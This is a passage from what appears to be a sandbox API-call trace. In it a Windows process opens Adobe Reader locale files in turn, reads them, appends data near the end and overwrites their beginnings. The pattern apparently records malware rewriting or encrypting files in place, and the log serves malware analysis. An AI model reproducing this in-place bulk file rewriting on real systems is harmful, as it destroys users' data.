hFile=0x168, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.470] CloseHandle (hObject=0x168) returned 1 [0042.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\PPKLITE.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ppklite.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.470] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.470] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x59600 [0042.470] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.470] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.470] ReleaseMutex (hMutex=0x128) returned 1 [0042.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.KOR", lpUsedDefaultChar=0x0) returned 11 [0042.470] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.472] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x58600 [0042.472] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.476] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x58600 [0042.476] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.476] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.476] WriteFile (in: hFile=0x168, lpBuffer=0x3a45df8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.477] CloseHandle (hObject=0x168) returned 1 [0042.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\updater.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\updater.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.477] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.477] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2000 [0042.477] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.477] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.477] ReleaseMutex (hMutex=0x128) returned 1 [0042.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.KOR", cchWideChar=11, lpMultiByteStr=0x1e633ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.KOR", lpUsedDefaultChar=0x0) returned 11 [0042.477] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2e0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0042.479] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.479] WriteFile (in: hFile=0x168, lpBuffer=0x25c7408*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7408*, lpNumberOfBytesWritten=0x2e0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0042.479] CloseHandle (hObject=0x168) returned 1 [0042.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\eBook.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ebook.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.480] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.480] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1a00 [0042.480] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.480] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.480] ReleaseMutex (hMutex=0x128) returned 1 [0042.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NOR", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NOR", lpUsedDefaultChar=0x0) returned 9 [0042.480] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0042.481] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.481] WriteFile (in: hFile=0x168, lpBuffer=0x25c7408*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7408*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0042.482] CloseHandle (hObject=0x168) returned 1 [0042.482] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SaveAsRTF.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\saveasrtf.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.482] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.482] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4600 [0042.482] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.482] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.482] ReleaseMutex (hMutex=0x128) returned 1 [0042.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x1e633ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NOR", lpUsedDefaultChar=0x0) returned 13 [0042.482] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.483] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3600 [0042.484] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.484] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3600 [0042.484] WriteFile (in: hFile=0x168, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.484] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.484] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.484] CloseHandle (hObject=0x168) returned 1 [0042.485] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\AdobeCollabSync.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\adobecollabsync.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.485] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.485] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1a00 [0042.485] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.485] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.485] ReleaseMutex (hMutex=0x128) returned 1 [0042.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0042.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NLD", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NLD", lpUsedDefaultChar=0x0) returned 19 [0042.485] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0042.487] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.487] WriteFile (in: hFile=0x168, lpBuffer=0x3a45df8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0042.487] CloseHandle (hObject=0x168) returned 1 [0042.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Multimedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\multimedia.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.487] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.487] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x13e00 [0042.487] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.487] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.488] ReleaseMutex (hMutex=0x128) returned 1 [0042.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0042.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NLD", lpUsedDefaultChar=0x0) returned 14 [0042.488] ReadFile (in: hFile=0x168, lpBuffer=0x3a4be58, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4be58*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.489] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x12e00 [0042.489] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.490] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x12e00 [0042.490] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.491] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.491] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.491] CloseHandle (hObject=0x168) returned 1 [0042.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.492] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.492] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe3 [0042.492] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.492] ReleaseMutex (hMutex=0x128) returned 1 [0042.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0042.492] ReadFile (in: hFile=0x168, lpBuffer=0x1dd29e8, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd29e8*, lpNumberOfBytesRead=0x2e0f2bc*=0xe3, lpOverlapped=0x0) returned 1 [0042.493] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0042.493] WriteFile (in: hFile=0x168, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66b, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2e0f2d0*=0x66b, lpOverlapped=0x0) returned 1 [0042.493] CloseHandle (hObject=0x168) returned 1 [0042.493] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DigSig.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\digsig.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.493] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.493] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1f000 [0042.494] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.494] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.494] ReleaseMutex (hMutex=0x128) returned 1 [0042.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.POL", lpUsedDefaultChar=0x0) returned 10 [0042.494] ReadFile (in: hFile=0x168, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.495] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1e000 [0042.495] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.496] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1e000 [0042.496] WriteFile (in: hFile=0x168, lpBuffer=0x3a4df58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4df58*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.496] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0042.496] WriteFile (in: hFile=0x168, lpBuffer=0x3a45df8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.496] CloseHandle (hObject=0x168) returned 1 [0042.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\ReadOutLoud.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\readoutloud.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.497] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.497] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2c00 [0042.497] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0042.497] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.497] ReleaseMutex (hMutex=0x128) returned 1 [0042.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0042.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.POL", cchWideChar=15, lpMultiByteStr=0x1e6334c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.POL", lpUsedDefaultChar=0x0) returned 15 [0042.497] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.499] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0042.499] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, 